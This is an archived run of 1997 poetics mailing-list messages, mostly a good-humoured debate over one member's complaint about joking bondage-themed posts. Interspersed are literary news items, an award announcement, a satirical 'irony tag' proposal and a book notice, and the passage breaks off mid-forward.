I've been backchanneled by a number of listlings who tell me the comedy postings by the quartet of which I am one-quarter, and whose other 3 are Bowering, Damon & Loden, are what makes the List a lively place to be. "Keep up the good work!" they urge. A dilemma. If we cease & desist, some of these might well unsubscribe. If we continue, we may well lose Jay Schwartz.

Reminds me of the young chap in the oldstyle British Railway compartment. One enfeebled fellow-passenger asks him to open the window, "Else I'll suffocate." The other complains, "Open that window & I'll freeze to death." What is the young man to do?

He suffocates one then freezes the other to death.

Jay objects to "light bondage stories about people he's never met." Well, he's met me. And a good time we had of it that night, drinking & laughing it up in

Frisco. Let me assure Listmembers who may not have met Jay, that he's far from being the sobersides this particular message may indicate. You know, we could make up light bondage stories about people he *has* met, couldn't we, gang? But disingeuousness aside : in our defense (although I grant Jay that we are basically indefensible in our after-midnight mode, probably not the mode Jay is in when he reads his e-mail with his first cup of coffee when our out-west droppings are only three or four hours old, probably still steaming), I will point out that we have been pretty much inactive for months, & it was only in the hope of stirring something up that I stirred something up. I had calculated that the List must be way under its ceiling, for there had been not many postings for days.

I grant you that Bowering is always in the worst of taste, & the very idea--in the sense of picture, or photograph, or polaroid--of the aged Canuck chaining up two women of such propriety (and yet, such female allure) as Maria Damon and Rachel Loden, for who can only guess what frivolous purpose, would revolt anybody who had an ounce of oldfashioned stuff left in him. But let me remark that out of this "foul rag-&-boneyard of the heart" came some creative work. To this, I presume, Jay doesn't object, although I can see that its occurring in the place where we would generally rather pull things apart than glue them together, might be upsetting.

But surely the faux Amy Lowell poems belong, on a List that devoted so much time to the discussion of poetic forgeries this very spring. It only remains for Marjorie to take them up,for the debate to become acceptable.

In any case, it has been two or three days since the more egregious acts by the illfamed quartet. But Jay also alludes to private postings being sent to the List. He means, by mistake. One must guess that the last straw for Jay was today's posting from Peter Nicholls, which I assumed was deliberately sent to all of us to be an illustration of what has ben a lively thread in our discourse, to do with how associations work & how a system of mutual support exists in the poetry world even as in other "worlds" we live in. I didn't find it irrelevant at all. Was it actually meant to be back-channeled? What a loss that would have been. I appreciated Peter's generosity.

Still, What to do? Perhaps there needs to be a ballot, Mr. Listmaster. If we lose, I for one shall refrain from postings that might provoke George Bowering (or anyone else) from lewd insinuation, & will always maintain a sober facade when responding to whatever tickles my funnybone. David B.

↑ Index

221. David Bromige
proofreader's error corrected
Tue 10 Jun 1997

Final sentence of my posting "Jay Schwartz's complaint" : should read "to lewd insinuation", not "from." Dammit. I've used up _two_ postings from the daily moiety. David

↑ Index

222. L. MacMahon and T.R. Healy
then it was over
Tue 10 Jun 1997

Here in Ireland we're in recovery from a recent general election. The usually cheery population is slightly corrugated after all the posters, multimedia interviews and hackers at the door. One of our leading Democratic Leftie's poster had him compressing various facial structures while playing an invisible melodeon. This was to represent conviction+competence+compassion+energy. The eventual winner, a Mr. Bertie Ahern, certainly not us, was made to peer, by handlers obviously despairing of getting any kind of look on him, from out of a bucket of pitch. A sort of Rembrandt in reverse, the shadow used to obscure as much of his already shady character as possible. The results broadcasts, lively enough anyway since we use proportional representation, were invigorated by details like a Christian Solidarity Partyer getting 666 votes. True. And a far-dextrous ex-minister, turfed out by his own party for corruption, went independent and topped the poll. Labour and the left generally were flayed alive. The melodeon player commented that the Irish left obviously don't want to be represented in government, no matter how able the past performance of their representatives. Over.

Best wishes,

Randolph Healy.

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223. Jordan Davis
tarot disco velour
Tue 10 Jun 1997

Devil's advocate:

Can we have an all-star ballot for the s&m posts? Snr Bromige's last few has blowed me away.. shoot, starting to talk like Rod Smith.

Of course, Jay, if you'll do an Idiom book of my work (and they're fine books you do) then I'll back you all the way on this "no irrelevant posts" putsch you're putsching. If not, then it's a la Nick Piombino I will chide you with "what else don't you want to talk about" -- the list janitor be damned --

Total discloruse -- chloride -- sodium laureth sulfate -- the morning of the starring out --

Jordan (no Mason, and no "e" eider) Davis

↑ Index

224. **Pritchett,Pat**

Re: Jay Schwartz's complaint

Tue 10 Jun 1997

I am one of those who posted both David Bromige and Rachel Loden with notes thanking them for their inventive hijinks. I like them (their postings and their persons, though I've never met either of them) and I'd like for them to continue, too, as the mood or merriment seizes them. I think their affectionate and silly badinage offers a tonic counterpoint to the often dense volume of verbiage that pours through this sluicegate, lately running at a diminished rate of cfs (cubic feet per second).

As David so rightly points out, some of this silliness actually produces - through the aleatoric riffing that is unique to this List - germane and edifying results. What he was too modest to include to the Amy Lowell spoofs was his own "moosehead loose lips," which I found to be wholly delightful and am very glad to have. So - if we cut out the horseplay, annoying as it may be to Jay and others, we stand to lose something else besides. And doggonit, I'm agin it.

Patrick Pritchett

From: David Bromige
To: POETICS
Subject: Jay Schwartz's complaint
Date: Tuesday, June 10, 1997 5:46PM

Responding to Jay "Sirious" Schwartz "at his snootiest and snottiest" : sorry, Jay, you'll have to do better than that.

I've been backchanneled by a number of listlings who tell me the comedy postings by the quartet of which I am one-quarter, and whose other 3 are Bowering, Damon & Loden, are what makes the List a lively place to be. "Keep up the good work!" they urge. A dilemma. If we cease & desist, some of these might well unsubscribe. If we continue, we may well lose Jay Schwartz.

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225. **Michael Magee**
Re: Inappropriate postings
Tue 10 Jun 1997

---

whoops, oh jeez, this is a little confusing: you mean this *isn't* the light-bondage-humor-involving-people-you've-never-met-List?

In other news, anyone who thought Mr. Bowering's story of hands was interesting should really check out the chapter entitled "Hands" in Sherwood Anderson's *Winesburg, Ohio* - no bondage humor, I'm afraid, but some damn good writing...

-Mike.

↑ Index

226. **Bob Grumman**
Re: Jay Schwartz's complaint
Tue 10 Jun 1997

For what it's worth, the Port Charlotte School of Poetics Taxonomy, internationally recognized for High Seriousness, is in favor of continued comedy postings. Viva multi-tonality! --Bob G.

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227. **Robert Hale**
Re: Inappropriate postings
Tue 10 Jun 1997

In responding to Jay's concerns, people seem to be pigeon-holing him into the role of censor, which he certainly opened himself up to. However, the points he raises regarding back-channeling and private messages are quite valid.

Unfortunately, the server cannot be programmed to limit the number of times a subscriber can post in a 24-hour period. We are on an honor system in this regard that a handful cannot resist breaking.

To those who defend references to S&M on the list as a way to keep people interested -- what does this say about the list in general? Is this list a struggling comedy show?

At 10:20 AM 6/10/97 -0700, you wrote:
>My volume of e-mail is, I'm sure, as high as everyone else on this list.
>I enjoy much of the public discussion. But I'm almost ready to
>unsubscribe based on the number of messages which belong in the realm of

>backchanneling. I'm just not interested in light bondage humor involving
>people I've never met. I'm also impatient with the great frequency of
>private messages which inadvertantly are sent to the entire list. Please
>show more discretion with the send button.
>
>Jay Schwartz, at his absolute snooty and snottiest.
>
>

↑ Index

228. john chris jones
parts of the cyberepic
Tue 10 Jun 1997

(apologies if two copies of this arrive - I got a message saying sorry there was an error in the first transmission)

more parts of the cyberepic

2

There is an old man who looks everywhere but sees no one.

And a young one who doesn't look at his companion but looks elsewhere while she looks only downward as they walk together far apart.

And a woman with a white face and red hair who looks so pleased with her man that she cannot stop smiling as she leans over as he leans back without caring.

But Dante is alone and these observations are not his but those of mr. jones, his correspondent, who was writing notes on the Heath before the next episode.

3

mr. jones awaits the manifestation of this new Dante but sees nothing - none of the people around him in the train seem to resemble Dante at all, though the man opposite with a mobile phone and dirty paint-spotted trousers has a very far away look as if he is seeing something other than all of us here. He gets up with several others to go out and it's not until the doors open that I realise it's my stop writes jones forgetting the third person. So I follow the man I'm calling Dante as he walks slowly over the bridge and down the country path to the Cally and when I overtake him I hear that he is singing quietly to himself, without words.

As I walk before him I remember the notes of last evening when I thought I saw Dante in the steady flight of an aeroplane, and in all the other stabilities of our time - but not in people, not in me, nor here on the Cally amidst the semi-poverty and the seeming messiness of human life ... Yes the real Dante, I say to

myself now, is beyond the bodies we inhabit and the cities that we make. Ye s\ indeed I type that bit mistakenly but leave it as perhaps evidence of something else but my intentins I mean intentions being the real subject of all this? And yes of course of course of course.

As I looked back before turning a corner I couldn't see my supposed Dante any more and as I climbed the stairs I wondered if he's not a person but a spirit, as they used to say, but now more fittingly thought of as a netual presence - an electronic agent or an avatar - of what's alive in everyone, perhaps? That will do for the moment I think as I re-read the earlier Dante/jones conversation when he first appeared on my screen and also the notes I wrote last night when I detected his presence in the steady course of a plane and in other non-physical but modern realities - does this remind anyone of those happenings before the coming of Jesus, or of any baby perhaps? But now to the realities he says as he looks back at his notes.

footnote

And who is he and what is this and why is it here in the poetics list on the internet and is it going to continue? This is its first publication.

If you want to read more of this or would prefer it to stop please tell me backchannel and I'll try to act accordingly and even answer questions in new episodes as they appear here day by day or week by week. I think I have the energy to keep this going but I doubt if I'll be able to reply directly if many write (other than to say continue or stop). I'm limiting each posting to 500 words, excluding footnotes. Is that the right length? 'The need for restraint is unquestionable here' says the rune oracle (of Ralph Blum, Oracle Books, Los Angeles, 1982 and Edison-Sadd Editions, Headline Book Publishing Company, London, 1990).

john chris jones

the first episode was posted 6th June 97 (British time) and appeared in the Poetics Digest for 4-5th June 97 US time.

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229. George Thompson
Re: Schizophrenic poetry and light bondage
Tue 10 Jun 1997

Yes, this interesting topic can be approached from a number of points of view, one of which was presented below by Tom Bell. My own point of view is more or less that of linguistics, one highly-interesting subset of which happens to be poetics. [I don't expect anyone to agree with this, of course].

One reason why I'm attracted to this topic [schizophrenia : poetry] is that it puts to rest the naive notion that these forms of language [schizophrenic language : poetry] are forms of communication.

Now, the various couplings of the Bowering, Bromige, Damon, Loden group *may* be communicative in some strictly non-linguistic sense, but I don't mind, and would vote for it if forced to, basically because the group seems to have a way with words. Therefore poetic.

What was that anti-porn book, by that anti-porn-queen, called: "just words"? Well, when all else fails....

> *The quote is from EllenWinner, _Invented worlds, the psychology of the arts, Harvard, 1984. She is discussing drawings made by children of how they perceive beats (i.e.,*
> *"1,2, buckle my shoe" can be 'metric" with five even circles or 'figuative' with two big and three small circles). "While figural drawings focused on the function of claps within a figure, metric drawings captured either thge relative or the exact duration of the different kinds of claps...metric drawings, like standard notation, leave the problem of interpretation, or finding the figures, to the performer. Musicians call this 'phrasing.'"*
>
> *Sorry, there is a lot of room for ambiguity here I can see - different disciplines, different senses than typically used.*
>
> *tom*

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230. **Rob Hardin**

*Re: One small, shameless derby tossed into the air: *I Won!**

Tue 10 Jun 1997

> *At 1:07 AM -0400 6/9/97, Your Lonesome wrote:*
> *To all:*
>
> *Though I've been in Berlin and Chicago for weeks, I just arrived home. And if you'll permit me one moment of self-indulgent whooping, let me say this: My collection, Distorture, just won the 1997 Firecracker Award for best fiction, beating Trainspotting in the process.*
>
> *MAR-WHAA! FR-FRIFL! PIFFEL-DROT!*
>
> *Sorry to drag you off-topic this once. I just had to shout it.*

To which David Israel <[redacted]> retolted:

> *congrats. 2 Qs:*

> *1. what's the Firecracker Award?*
> *2. who, in US, has published Distorture?*

David:

1. Read copious citations from Publishers Weekly (see below), or go to:

http://www.bookwire.com/awards/firecracker.html
http://www.bookwire.com/Expo97/BEANews.article$1243
http://www.bookwire.com/Expo97/BEANews.article$698
http://www.bookwire.com/PW/Features.article$1241

There will also be an article on the FAB awards in the next issue of New York Magazine.

2. Distorture is published by Black Ice Books/FC2--the publisher that recently came under attack by Jesse Helms.

Distorture's ISBN Number: 1-57366-027-2

For further info on purchasing Distorture, and to see additional reviews, do a search on Amazon Books and/or BookWired. Specific URLs:

http://www.bookwire.com/BookInfo.search
Title: Distorture
http://www.amazon.com
Title: Distorture
(or try this:)
http://www.amazon.com/exec/obidos/ISBN%3D1573660272/6392-1236704-362945

Additional Information:

http://www.horrornet.com/hardin.htm
http://www.users.interport.net/~scrypt/

Ditto for George Bowering <[redacted]>, who ulubated:

> *That's good news, and that's tough competition. Could you tell me (us?) what the Firecracker Award is?*

Thanks for the kind words, George. See above & below.

Likewise for Maria Damon, who schmitzvahstuffenlieded:

> *rob, that's absolutely terrific! please, brag more. it's nice to see your occasional posts!--maria d*

Thanks for sharing in my glee, Maria.
As for bragging:

The first printing of Distorture is almost completely sold out. Distorture was the number one selling trade paperback at Tower Books for the month of April, and in the April Daily News bestseller list. Interviews and reviews, will appear in the next issues of Spin, Anodyne, New York Press Literary Supplement, as well as in Publishers Weekly and New York Magazine. The book has been praised or otherwise noted in New York Press and the Village Voice as well. I had no idea that anyone would care about this book, let alone give it this level of attention. It is gratifying to hear people praise the book design as well, since I insisted on doing it myself.

Distorture will also become the first BIB/FC2 book to be sold in Tower stores across the world. After the FAB ceremony in Chicago, I got group-hugged by the entire upper-echelon staff of that excellent chain: Tower is the only chain-store that actually cares about alternative (ie, experimental) lit.

Berlin is an entirely different story: the lethally-rich chocolate, the funereal photos, the wheatbeer, the brie, the bombed-out churches, the visually perfect landscape of East Berlin, with its Tarkovskian tunnels leading to Victorian facades with balustraded Thrones and Virtues eroded into monsters. Suffice to say that I'm now the proud owner of both a splinter of wood torn from a death-car at Auschwitz, and turn-of-the- century photos of cryptic infants.

Suffice to say that I often awoke to a Krumme Lanke hanging garden seen though a picture window, and ate Quark mixed with wild apples while listening to Anton Bruckner. The coffee in Berlin is actually strong enough; I was able to formulate precise sensations while basking in the sewage and beauty of late German aestheticism.

And then there were the squat bars near Alexanderplatz: Stories within stories.

All the best,

Rob Hardin

Appendix: For your glistening pleasure: The Firecracker Alternative Book Award results (and explanation) from Publishers Weekly, June 1, 1997:

> "Last night, at what can safely be called the wildest party at BEA, the Firecracker Alternative Book (FAB) Awards were handed out to winners in 12 regular and three special recognition/ "wild card" categories. Now in their second year, the FAB Awards celebrate the best in alternative publishing -- or, according to their founders, "books that shove a firecracker down the shorts of the mainstream."
>
> "And the winners are:

Fiction: Distorture by Rob Hardin (FC2)
Non-Fiction: Transgender Warriors by Leslie
Feinberg (Beacon Press)
Poetry: Home in Three Days. Don't Wash by
Linda Smukler (Hard Press)
Politics: Censored 1997: The News That Didn't Make the
News -- And Why by Peter Phillips
and Project Censored (Seven Stories Press)
Sex: The Guide to Getting It On! by the staff of Goofy
Foot Press
Drugs: Everything I Know I Learned on Acid, ed. by Coco
Pekelis (Acid Test Productions)
Music: I Need More by Iggy Pop (2.13.61)
Art/Photo: Nothing But the Girl, ed. by Susie Bright
and
Jill Posener (Freedom Editions)
Graphic Novel: Real Americans Admit: "The Worst Thing
I've Ever Done!" by Ted Rall (NBM)
Zine: Bust, edited and published by Celina Hex and
Betty
Boob
Kids: The Palm of My Heart: Poetry by African American
Children, ed. by Davida Adedjouma
and illus. by Gregory Christie (Lee & Low Books)
Outstanding Independent Press of the Year: Cleis Press

"Special Recognition/Wildcard categories:

This Ain't Yer Family's Photo Album: Death Scenes by
Katherine Dunn and Sean
Tejaratchi (Feral House)
Recall Hoekstra Award for Special Merit in Literary
Publishing: FC2/Black Ice
Don't Cook With Your Mouth Full: Intercourses: An
Aphrodisiac Cookbook by Martha
Hopkins and Randall Lockridge (Terrace Publishing)

A little early background from Publishers Weekly, May 5, 1997:

"Just when you thought it was safe to go back to Chicago, the funky folks who brought us the first Firecracker Alternative Book (FAB) Awards, handed out at the FAB Do, widely considered the most-rocking party held at last year's ABA, are at it again. Just in: the 36 finalists for this year's awards, plus raucous new plans for FAB Do II.

"The FAB Awards were started last year by a group of book industry professionals concerned that the increasingly important cultural force of alternative books (and 'zines) is too often relegated to the extreme margins of the commercial publishing and bookselling scenes. Now, just as the Sundance and SlamDance Film Festivals showcase the best in the independent film industry, the FAB Awards blast the best of underground publishing out to a broad new audience.

"This year, three FAB front-runners have emerged in each of 12 categories:

Fiction:

Distorture by Rob Hardin (FC2)
The Sub by Jimmy Jazz (Incommunicado)
Trainspotting by Irvine Welsh (Norton)"

(snip)

This bit is from the Firecracker Awards page:

"A seismic rumbling is awakening the book industry. It is the groundswell of alternative cultures, of literate youth who want to read SOMETHING DIFFERENT. Late at night in small towns, urban sprawls and edge cities they stalk through newsstands, college stores, infoshops, independent bookstores, malls, even superstores looking for something to read.

"That rumbling erupted last year in Chicago at the FAB Do, an awards ceremony and celebration of alternative cultures. As the Sundance and SlamDance Film Festivals do for the film world, the Firecracker Awards blast the best of alternative publishing out to a broad new audience. This year FAB Do II returns to Chicago during the upcoming Book Expo America (BEA). The Firecracker Alternative Book Awards, which celebrate the best of the underground in print, explode Saturday May 31 at Chicago's Crobar nightclub.

"Honoring those books which "toss a firecracker down the shorts of the mainstream," the FABs will be presented by glam alternative gliterati in twelve categories: fiction, nonfiction, poetry, politics, sex, drugs, music, art/photography, graphic novel, zine, cool kids, and outstanding independent press of the year. Master of Ceremonies will be Barry Yourgrau--author, performer, and MTV spoken-wordster extraordinaire, whose latest collection of stories has just hit the theatres as an independent feature film, THE SADNESS OF SEX. Before and after the awards, the crowd will be worked into a twistin' and surfin' GO GO FRENZY by Iowa City's THE BENT SCEPTERS and, back by popular demand, Milwaukee's THE EXOTICS.

"The FABs will bring those active in the underground book scene together with the new and curious and will provide a showcase for the best of the new publishing--those exploring today's cultural wilds, and cultivating new and not-yet-

domesticated sorts of writing, like those riders on Neal Cassady's bus whose destination was "Further." These writers and publishers are today's Surrealists, or Beats, or Black Arts Movement. They are the performance poets, rabble-rousers, and other print-artists whose work defies categorization.

"The FABs are the locus of attention in the book industry for cultures of the young, the alternative, and the underground. In the past year the book trade has become increasingly aware that alternative cultures' myriad fans (both young and old) buy books, but are frustrated by the difficulty of finding the sorts of books they want. Last Fall a number of regional book trade shows offered Bibliopalooza panel/workshops to help bookstores reach these expanding alternative markets. Firecracker ballots have been distributed by fax, mail, and modem to retailers, publishers, and readers worldwide. The votes have been tallied and a list of the finalists is enclosed. The winners will be announced May 31 at the FAB Do.

"The FAB Do itself has become the underground event of the annual booksellers convention . . . Chicago's New City weekly rated last year's party "best outfits by far, including vinyl and latex fit for car interiors." Hundreds were turned away at the door by the surly staff. Only those who voted are guaranteed entry. Admission is free, but limited to ticket holders, who may scramble to pick up one of the few remaining tickets from the sponsors on the BEA convention floor on Saturday.

"CO-SPONSORS INCLUDE:

"AK PRESS -- CIRCLET PRESS -- CONSORTIUM BOOK SALES & DISTRIBUTION -- FERAL HOUSE -- GATES OF HECK/HECK EDITIONS -- GROVE/ATLANTIC INC. -- HI JINX PRESS -- INCOMMUNICADO PRESS -- JUGGERNAUT -- KOEN BOOK DISTRIBUTORS -- LAST GASP -- LITTLE, BROWN & CO. -- LPC GROUP (INBOOK/LOGIN TRADE/WOMENSOURCE) -- LOWENSTEIN-MOREL ASSOCIATES -- MANIC D PRESS -- MILLER TRADE BOOK MARKETING -- NBM -- PUBLISHER'S WEEKLY -- TOWER BOOKS/ TOWER RECORDS -- WHITE WOLF PUBLISHING"

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231. David Israel

Ginsberg / Beatles / Dylan

Tue 10 Jun 1997

Late night last -- in insomniac televideotic office solitude (here's a t.v. set avec cable) -- caught sight of Allen Ginsberg, whose distinctive erudition was directed toward Dylan & Beatles lyrics --

was a rather detailed -- & interesting -- history of rock'n'roll spanning (in parts I caught) something like 1964-66 --

tracking (almost season-by-season) stages in the cross-crossing careers & inventions & style-meldings of (especially) Dylan & the Beatles, as well as such figures as the Byrds (nods to Simon & Garfunkle, Sonny & Cher) -- noting the release of particular songs, cross-influences, ways in which (say) Dylan brought rock into folk, Beatles brought classical into rock (memorable recollection by Crosby's of turning-pointedness of viewing the film *A Hard Day's Night*) . . .

Ginsberg appears as one of several interviewees (in both an I-was-there as well as a poetry-scholiast mode) --

he figures in something of a hip-professorial cameo, pontificating . . . (e.g.) abt. influence of Jack Keruac on Bob Dylan, ways of interpreting "Eleanor Rigby," and "Mr. Tambourine Man" as introspective excursion into identity, the trickster figure, & suchlike . . .

served to recall what a fine expounder of culture-ideas AG could be -- and to wonder if there are collections of essays from him? (don't recall hearing of such) . . . perhaps he reserved that manner strictly for the classroom &/or for film / video / interview ? . . .

(sorry don't have reference-particulars on said late-night music-history program -- evidently it's one in some ongoing series) . . .

d.i.

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232. KYLE CONNER/LRC-CAHS

Re: Larry Eigner

Tue 10 Jun 1997

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas |
memory fails Lawrence, KS 66045 | these are the days."
[redacted] | Larry Eigner, 1927-1996

Via Judy Roitman's endquote, I have just learned that Larry Eigner is dead. (An underwhelmed sigh circulates throughout the community). Really, I hadn't heard, and I am quite shocked. Eigner for me was an undercurrent, someone whom I had read when in grad school, and thought about occasionally. When I would see the occasional book in some stack a a used bookstore, I would silently acknowledge that this man of singular strength and unique soul was alive and well, probably at that very moment sitting in his wheelchair on the

front porch of his house, watching things go by, and composing strangely curved and parsed observations about these things. I am saddened by news of his death. But his poetry will stay with me, a gently swirling eddy of confetti.

Can anyone provide more specific information? Exactly when did this occur? And how?

kyle conner

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233. Joseph Duemer
Re: Jay Schwartz's complaint
Tue 10 Jun 1997

Language is a mutually created vision of the world; there can be no private language. What the Poetics list has been experiencing the last few days is the language game of "coterie badinage," a game that decides who is in and who is out of the group. Those who play the game or approve heartily of the game's being played are either part of the group or want to be; those who strongly resist the game. . . well that call could go either way. The rest of us are perhaps bored. Still, we can hope, with Blake, that "the fool who persists in his folly shall become wise." I've also heard of a Hindu sect in which acolytes must spend several years mumbling, belching, farting, and making lewd gestures in public as part of the process of enlightment. Is Bromige a Hindu? Am I? In other words, I cast my vote strongly in favor of both positions.

Joseph Duemer
School of Liberal Arts
Clarkson University
Potsdam NY 13699
Phone: [redacted]
Fax: [redacted]
[redacted]

"The honey of heaven may or may not come,
But that of earth both comes and goes at once."
Wallace Stevens

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234. Gwyn McVay
Re: Inappropriate postings
Tue 10 Jun 1997

>>>To those who defend references to S&M on the list as a way to keep people interested -- what does this say about the list in general? Is this list a struggling comedy show?

Mr. Hale, I can understand that some people are fit to be tied about what they perceive as inappropriate posts. But I hardly think it serves us to keep flogging this topic--it's rather like beating a dead horse, and I'd rather not see Mr. Bromige et al. become whipping persons for a more general problem. It's fairly clear that the recent accidental post was just that, accidental; otherwise, most people do exercise restraint--and which of us can't use a good gag once in a while?

So the accidental poster is Sade-er but wiser. I hardly think such posts have actually tended to dominate the discussion. None of us is a slave to these things anyway; we can always lash out with the Delete key, right?

Your humble servant,

Gwyn

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235. Thomas M. Orange
neo-objectivism?
Wed 11 Jun 1997

---

henry g wrote: |Like Symbolism, an example of how a strong theory |succeeds in blocking out the contingency of the world (and eventually, |in consequence, poetry itself). Valery is quoted somewhere as saying |that their was no poetics of Symbolism - the symbolists were joined only |by a vow to renounce the approval of the masses. This seems very germane |to language poetry. The history of the "school" of the "objectivists" |could be understood maybe in an analogous way. The theory becomes a cover |for addressing a particular audience. Objectivists & language poets are |like the iconoclasts of ancient Byzantium.

there is no aesthetic of symbolism....we arrive at this paradox: an event in aesthetic history that cannot be defined in aesthetic terms. the secret of their cohesion lies somewhere else. i offer one hypothesis. i suggest that in all their diversity the symbolists were united by some negation ....they agreed in a common determination to reject the appeal to a majority: they disdained to conquer the public at large. paul valery, "the existence of symbolism" (1936/39), tr. malcolm cowley. collected works vol. 8, 219-20.

could we set up a field of poetic production spanning the objectivists and lang-poets, as pierre bourdieu has done (most recently in his _rules of art: genesis and structure of the literary field_) for late 19th-century france.

now there's one helluva dissertation. any takers?

tom orange
[redacted]

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236. David Bromige
Heard all the way from Potsdam
Wed 11 Jun 1997

Thanks to Joseph Duemer for his farts, belches & mumblings in support of our nonsense. I didn't find his farts, beleches & mubles in favor of the opposite position nearly as attractive. db.

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237. John Tranter
Solution to Irony Detection Ambiguity Problem
Wed 11 Jun 1997

In a recent posting on Army Lowell, Sylvester Pollet said --

> *I've noticed that it's sometimes difficult to discern irony on list postings.*

We've long had the same problem Down Here in Australia, and a tentative typographical solution might be of interest to List Members.

As a culture, we seem to suffer from "hyperlaconia", an inability to prevent laconic or ironic components from destabilising the surface of our everyday discourse. The problem would apear to be a minor one, but the cost in social disruption has been considerable over the years, and the problem has recently been the subject of discussion among Tourism authorities, as it is causing confusion and distress among visitors to our shores, particularly from cultures where loss of face is important such as Japan, Korea and Taiwan.

It has now become customary in Australia to indicate possibly misleading "irony" components of otherwise "serious" speech acts when they appear in textual form by bracketing them in a similar way to the method used in HTML.

For example, in HyperText Markup Language, italics are indicated by the bracketing instruction <I> and </I> around italic text,
<B> for bold</B>, and so forth.

In Australia, irony components are now marked in a similar way in HTML text, e-mail, BBS messages and typed correspondence, using the <IR> tag, as follows:

It's a <IR>joke,</IR> Joyce.

With most browsers, the marked text is rendered as the equivalent of <FONT SIZE="+3" COLOR="FF0000" RED > and underlined, to make it stand out from normal text.

It's too early yet to draw any firm conclusions, but incidental reports of a lessening of the incidence of "load rage" (anger when downloading sly and ironic remarks from Bulletin Boards etc.) are heartening.

Negotiations are under way with the World Wide Web Consortium to have the <IR> irony </IR> markup accepted as part of the formal structure of HTML version 3.5 under IETF RFC 1866. I'll keep the List in touch with how those discussions proceed.

» John Tranter, 39 Short Street, Balmain NSW 2041, Australia Phone Sydney ([redacted] FAX ([redacted]

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238. MARK LEAHY
women and texts at Leeds
Wed 11 Jun 1997

there was a misprint in the site address for the Women and texts conference
this is the corrected version
(I'm sure the beady eyed among you spotted the error anyway)

http://www.ucalgary.ca/~crow/text

also

http://www.ucalgary.ca/~crow/texts

which is the 'working' site
with the latest and on-going information on it.

Mark Leahy
[redacted]
School of English
University of Leeds
West Yorkshire

LS2 9JT
United Kingdom

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239. **henry gould**
Re: neo-objectivism?
Wed 11 Jun 1997

The symbolist's appeal to a "higher' (truer) world behind the veil of appearances, journalism, etc. could be compared with the avant-garde (objectivist, language poetry...rough measures here) utopia. Not that the avant-garde's utopia is much different from any other left-Marxist- humanist-historicist utopia - but that the means of approaching it (poetry cleansed of all taint of the "present" in terms of readership, the Zukofskian/Poundian ideal of the neglected genius readable and justified in ages to come, poetry as self-referential music, etc.) are similar. Now Olson strikes me as something slightly different - maybe it's his "anti-aesthetic", the idea of a middle voice, of the rhetorician talking on topical questions of the polis. - H. Gould

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240. **Brian McHale**
Re: Ginsberg / Beatles / Dylan
Wed 11 Jun 1997

The Rock 'n' Roll history David Israel is talking about was a BBC-made series of I think 8 or so parts, first broadcast in the States on PBS at the beginning of last year. I recorded most of it at the time, & by coincidence was actually watching last night with my daughter the same segment that David remarks on. It was the first time I'd replayed it since Ginsberg's death, & I too was impressed & touched by his interventions. Smart old Ginsberg. (Incidentally, it seems to me that the segment on Doowop & girl groups & the one on Motown are even better than the Dylan/Beatles segment.)
Brian

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241. **LYNES- KATHERINE**
Re: Jay Schwartz's complaint
Wed 11 Jun 1997

---

on a turn off the tv sorta note: one could always just delete the message-- doesn't take much of a glance to know which posts are, to quote pat pritchett, " affectionate and silly badinage"-- i agree [again to quote pat prichett]

that they " offer[] a tonic counterpoint to the often
> dense volume of verbiage that pours through this sluicegate,
 lately running> at a diminished rate of cfs (cubic feet per
second)."

but i don't always have time to read them-- 'specially these dog days

.... hence, the d button.

ah, the tyranny of choice. katherine

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242. **Bob Grumman**
Re: Jay Schwartz's complaint
Wed 11 Jun 1997

I disagree with Joseph Duemer when he says that "(w)hat the Poetics list has been experiencing the last few days is the language game of 'coterie badinage,' a game that decides who is in and who is out of the group," and his implication that I, who "approve heartily of the game's being played (am) either part of the group or want to be." I think the quartet was just having fun, and that at least some of those of us voicing approval of their game did so from outside any groups that might have been involved simply because we liked what they were doing. Not everyone is groupo-centric. --Bob G.

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243. **Michael Boughn**
Re: Inappropriate postings
Wed 11 Jun 1997

Jay:

Perhaps you should reconsider being on this list which, for the last 5 years, has delightfully abounded in light (and sometimes heavy) bondage humour. Dildo humour, too (and I don't mean Dildo, Maine). I'm sure there are lots of other lists sufficiently sober and restrained for your tastes. Personally, I can't think of a better way to start the day than thinking about George Bowering (whoever the hell he is) sucking Amy Lowell's toes.

Mike
[redacted]

> *My volume of e-mail is, I'm sure, as high as everyone else on this list. I enjoy much of the public discussion. But I'm almost ready to unsubscribe based on the number of messages which belong in the realm of backchanneling. I'm just not interested in light bondage humor involving people I've never met. I'm also impatient with the great frequency of*

> *private messages which inadvertantly are sent to the entire list. Please show more discretion with the send button.*
>
> *Jay Schwartz, at his absolute snooty and snottiest.*

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244. Michael Boughn
New Book
Wed 11 Jun 1997

First Intensity Press
announces the publication of

PERTURBATION, MY SISTER

by Kristin Prevallet.

A work of fiction based on the collages of Max Ernst in his surrealist novel, "The Hundred Headless Woman".

"Proceeding from the collages of Max Ernst, Kristin Prevallet has created her own convulsive beauty, a parallel narrative of instantaneous adventure in a torrent of unexpected forms. Here the enigmatic is revealed as aesthetic potency, the gravitational field of memory, and, above all, as absolute necessity." -- Rikki Ducornet

"The foci which Prevallet creates . . . is a brilliant irrregular Renga, with Max Ernst as 'source,' with Dorothea Tanning [English translator of "The Hundred Headless Woman"] as magnetic connective, allowing the text in its resent metamorphosis an unforgettable latitude in roaming a complex imaginal range." -- Will Alexander

"Transfigurations of the divine & perfunctory, a radical
vision of Ernst's dramatic & exquisite corpse. Brava!"
-- Anne Waldman

ISBN 1-889960-02-0. 80 pages, paperback, perfectbound.
$10.00 + $1.50 shipping/handling.

Check or money order to FIRST INTENSITY, P.O. Box 665,
Lawrence, KS 66044.
OR order through Small Press Distribution by phoning
[redacted] (in the San Fransico Bay Area: [redacted]).

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245. **Maria Damon**
Re: Jay Schwartz's complaint
Wed 11 Jun 1997

---

frankly, jay, cool as i think you are (and you have met me), rachel's wit is one of the bright lights of the list for me. broomwitch and bowinger are cool in their way too, witty and whatnot. i enjoy a good laugh in this land o lakes ("lake" is, etymologically, a depression covered with water). i find myself (true confetti) deleting long discussons of "voice" or the philosophy of translation (no offense to those involved, i'm just not smart enough these days to follow a sustained thread unless it involves sex, drugs or rock and roll).

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246. **Maria Damon**
fwd
Wed 11 Jun 1997

Approved-By: Center for Advanced Feminist Studies <[redacted]> Date: Mon, 9 Jun 1997 09:16:44 -0500 From: Center for Advanced Feminist Studies <[redacted]> Subject: Help Needed on Behalf of French Feminist Web Site To: Multiple recipients of list CAFS-F2 <[redacted]>

Help Needed on Behalf of French Feminist Web Site

A terrific group of French feminists who are involved in the parity =
movement
